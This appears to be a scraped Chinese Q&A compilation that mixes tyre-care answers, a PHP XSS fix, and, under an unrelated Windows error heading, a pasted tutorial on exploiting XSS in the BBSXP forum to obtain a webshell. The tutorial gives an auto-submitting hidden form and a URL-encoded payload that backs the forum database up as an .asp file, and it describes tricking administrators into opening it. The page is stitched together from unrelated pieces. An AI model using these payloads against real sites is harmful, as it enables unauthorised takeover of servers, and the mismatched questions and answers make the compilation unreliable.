本文目录一览：
- 1、佳通轮胎质量怎么样？夏季换胎需要注意什么吗？
- 2、下面这段代码总是检测到XSS跨站脚本攻击漏洞找高手求解
- 3、win7中出现 错误码 605 检测到xss跨站攻击 怎么办
- 4、我的佳通轮胎已经用了两年了，我怎么知道是不是该更换了？
佳通轮胎质量怎么样？夏季换胎需要注意什么吗？
我觉得佳通质量是不错的，我反正一直在用佳通，性价比我感觉是很给力的。至于换不换冬季胎，这个你也没说你在哪个区域城市，关键你要看你冬天那边气温是不是已经低于7摄氏度了，这是一个轮胎抓地性能的温度临界值，低于这个温度，轮胎橡胶就很硬了，加上雨雪天气路滑，你抓地不行，就比较危险，我是在北方，早早就换上佳通冬季系列了，出门也不用担心，慢点开，稳！它的刀槽和花纹设计是专门防滑的，你可以去官网看看。夏季轮胎注意事项，第一，中国大部分地区接连迎来持续热浪，气温一直居高不下，地面温度甚至可达70-80℃。轮胎若长时间与滚烫的路面接触，胎压会随着温度升高而自动膨胀，酿成爆胎事故。因此，佳通轮胎博士提醒车主，在高温下行车要对胎压格外关注，应养成每月至少检测一次胎压的好习惯。最佳胎压检测时间是爱车启动前或行驶静置4小时后，以确保获得准确的检测结果。如果车主没有时间频繁检查胎压，还有个小秘诀就是给轮胎充干燥氮气。氮气是惰性气体，膨胀系数低，可较长时间维持正常的胎压，免去了车主频繁检测的麻烦，但建议前往如佳通轿车服务站等专业轮胎店进行操作。第二招：轮胎需呵护异物请小心除了胎压检测外，夏季清理轮胎上的异物也尤为重要。在全年中，夏季气温最高，轮胎老化现象尤为明显。因此若轮胎花纹沟槽内嵌有异物，也会增加爆胎危险。佳通轮胎博士提醒各位车主，夏季一定要对轮胎异物勤清理。如果发现轮胎的花纹槽内有石头、玻璃等碎物，应及时并小心地取出，以防异物刺入轮胎而造成硬伤。伤处氧化并受到高温的催化作用，爆胎的几率也随之增加。如果发现铁钉、螺丝等尖锐异物刺入轮胎时，请不要擅自取出，这会致使轮胎破损处愈加严重，可就近前往佳通轿车服务站检测。第三招：轮胎畏高温停车需防晒时值炎夏，长期暴露在强烈的紫外线下，易导致轮胎内气体温度升高，加速轮胎老化，爆胎几率也随之增大。佳通轮胎博士提醒车主，在夏季也要为爱车做好防晒，尽量选择地下停车库或树荫处停车。此外，停车时还应远离热源和臭氧源，例如：热管和发电机等，这些“隐形热源”会悄无声息地加速轮胎老化。若发现胎温、胎压过高，车主切不可放气或向轮胎泼水，因为这两种方法会造成胎面、胎侧胶层各部分收缩不均，产生脱层、裂纹现象，从而缩短轮胎使用寿命。此时车主应选择阴凉处停车，待轮胎温度、压力自然下降后再重新出发
下面这段代码总是检测到XSS跨站脚本攻击漏洞找高手求解
是否有漏洞，取决于你输出的内容是否可信
比如echo $rows["Author"];
如$rows["Author"]里面是由用户输入且入库未过滤，那么直接输出时存在xss漏洞的。
如$rows["Author"]输入的值为〈script〉 alert( 1 )〈/script 〉
那么直接输出存在漏洞，
简单点修改 echo htmlentities($rows["Author"]),其他echo的类似
如果输出内容可信（过滤过，或来源可信安全）那么直接输出也不存在问题，程序检测的未必准确。
入库过滤了或者本身内容来源可靠不存在此漏洞。
win7中出现 错误码 605 检测到xss跨站攻击 怎么办
什么是XSS攻击XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术，但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言，我把XSS攻击分成两类，一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击，主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个有跨站漏洞的网页，然后构造跨站语句，通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页，然后在另一空间里放一个收集cookie的页面，接着结合其它技术让用户打开跨站页面以盗取用户的cookie，以便进一步的攻击。个人认为这种方式太过于落后，对于弊端大家可能都知道，因为即便你收集到了cookie你也未必能进一步渗透进去，多数的cookie里面的密码都是经过加密的，如果想要cookie欺骗的话，同样也要受到其它的条件的限约。而本文提出的另一种思路，则从一定程度上解决上述的问题。对于个人而言，比较成熟的方法是通过跨站构造一个表单，表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞
如果有代码的话比较好办，我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合，像测试QQ群跨站漏洞的时候，你在标题处输入〈script〉alert(‘test’)〈/script〉，代码是不会被执行的，因为在源代码里，有其它的标签未闭合，如少了一个〈/script〉，这个时候，你只要闭合一个〈/script〉，代码就会执行，如：你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉，这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例，过程已做成动画，详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户，我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子，可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试，所以我们以管理员身份登陆，然后打开贴子，我们会发现，linzi已经变成了社区区长工，如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等，只要管理员打开了，就会加了一个扩展名为asp （有空格）的上传扩展，这个时候，你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性，虽然可以得到shell，但是隐蔽性不太好，因为签名
处受到了长度的限制，不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的
攻击，对于flash木马的制作，下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下:
再接着欺骗管理员打开你的资料或者浏览你的贴子，当管理员打开后，会在后台自动加个php扩展名的后辍，因为bbsxp在个人头像url里过滤了空格,%，所以我们只能加个不包括空格的其它扩展，当然你也可以加个shtml的扩展，有了它你就可以用来查看源代码，然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候，当我们对于目标程序找不到可以利用的跨站点，这个时候我们可以利用可以从外部入手，利用我们要拿下的是它的论坛，论坛的安全性做的很好，但其留言板却存在跨站漏洞，这个时候我们可以在留言板里写入跨站语句，跨站语句为以表单的方式向论坛提交提升权限的语句，如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt，内容如下:
〈body onload="javascript:document.forms[0].submit()"〉〈form
action=" " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉
上面的代码是把论坛的数据库备份为shit.asp，留言板存在跨站点如下:
我们构造备份跨站语句如下:
%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句，利用iframe打开一个0大小的linzi.txt。
当管理员打开后，会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例，我们可以知道，如何欺骗管理打开是一个很重要的步骤，对于欺骗打开，除了社会工程学外，我们可以结合其它的技术，如sql injection.当我们渗透一个网站之时，主站mssql注入漏洞，权限为public,这个时候我们利用update构造跨站语句，如用iframe打开一个上面的备份得到shell的跨站语句等，同样，我们可以在社会工程学时，利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术，具体怎么利用，大家就发挥自己的想象力吧！
好一个欺骗也是一门艺术，不管是在生活中还是在网络中。生活中难免有些事情不能讲真话，这时采用适当的方法使得我们的假话当作真话讲，这就靠欺骗的艺术了。
把那个网页删除掉
我的佳通轮胎已经用了两年了，我怎么知道是不是该更换了？
佳通轮胎的耐磨损程度还是很不错的，一般的路况下保证使用两年还是没问题的，想确定轮胎是不是磨损了可以用一块钱的硬币插进轮胎的花纹里，如果银行的拼音可以没过的话就证明轮胎还有足够的厚度，如果拼音露出来了，那就要小心了。但这只是简单的测试方法，最好还是去佳通轮胎的成员店或服务站检测一下，如果花纹低于1.6毫米厚度，为了安全，还是立即换条新的吧。